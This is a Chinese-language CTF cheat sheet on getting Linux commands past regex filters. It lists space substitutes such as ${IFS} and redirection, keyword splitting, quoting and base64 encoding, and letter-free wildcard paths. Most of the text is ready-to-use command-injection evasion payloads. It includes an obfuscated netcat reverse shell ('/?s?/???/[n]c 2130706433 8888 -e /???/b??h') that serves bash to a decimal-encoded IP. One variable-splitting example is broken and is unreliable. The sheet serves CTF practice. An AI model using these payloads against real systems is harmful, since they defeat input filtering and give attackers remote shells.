前言:
做ctf時常常會遇到一些正則匹配將一些linux命令給過濾掉,這里將總結一些針對性的繞過方式。
一、空格繞過:
{cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg (\x20轉換成字符串就是空格,這里通過變量的方式巧妙繞過)
二、敏感字符繞過:
假設過濾了cat
1.利用變量繞過:
ac;b=at;$a$b
2.利用base編碼繞過
`echo 'Y2F0Cg==' | base64 -d` test.txt
3.連接符截斷繞過:
c'a't test.txt c\at test.txt ca$@t test.txt
三、通配符繞過
?在linux里面可以進行代替一個任意字符:
/???/[l-n]s 可替代ls
/???/c?t test.txt 可替代cat test.txt
*在linux里面可以代替任意個任意字符:
ls *.php 列出當前目錄下所有php文件
無字母數字匹配:
如果我們遇到一個正則將字母數字$這些都過濾掉,要我們執行一個腳本的話.
假如腳本名稱為chakdiD且在根目錄/etc下,我們可以用:
. /???/???????[@-[]
[@-[]表示取從@到[之間的字符,這之間的字符都為大寫字母。這樣就實現了無字母數字匹配的命令,就可以繞過正則了。
給一個匹配表:
| 字符 | 解釋 |
| * |
匹配任意長度任意字符 |
| ? |
匹配任意單個字符 |
| [list] |
匹配指定范圍內(list)任意單個字符,也可以是單個字符組成的集合 |
| [^list] |
匹配指定范圍外的任意單個字符或字符集合 |
| [!list] |
同[^list] |
| {str1,str2,…} |
匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 |
幾個例子:
/???/[:lower:]s /?s?/???/[n]c 2130706433 8888 -e /???/b??h ls {/ru,/tmp}n
字符匹配表參考:https://www.secpulse.com/archives/96374.html
參考大佬的通配符利用:https://www.freebuf.com/articles/web/186298.html
